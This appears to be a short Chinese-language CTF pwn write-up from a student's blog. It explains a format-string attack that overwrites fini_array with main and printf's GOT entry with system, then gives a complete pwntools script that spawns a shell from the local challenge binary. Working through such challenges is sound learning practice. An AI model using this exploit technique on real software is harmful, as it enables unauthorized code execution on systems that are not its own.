image-20250110102254092

放寒假了,由于前面的期末周都没有做题,先搞几个简单题做做吧,本来是这么想的。

结果学到了新的知识,fini_array,并不是很难。

这里看到main函数的时候一开始以为是栈迁移,但是泄露不出来起始地址;看到有格式化字符串想到任意地址写,但是没法随意跳转,比较头疼。

这里我们其实只要做到能再一次执行main函数就能达到攻击目的了。这里就用到了fini_array

fini_array的作用:

image-20250109225135665

没想到2019年就存在这样的题目了,自我反省一下。

题目中还有system函数。

image-20250109225243820

那么只要修改printf的got表为system将fini_array改成main函数即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
代码内容
from pwn import *
context(arch='amd64',log_level='debug',os='linux')
io=process('./attachment')
gdb.attach(io)
pause()
system=0x4011F6
printf=0x4033F0
fini=0x4031D8
main=0x40127E
payload=fmtstr_payload(6,{fini:main,printf:system})
io.sendafter(b'input:',payload)
io.send(b'/bin/sh\x00')
io.interactive()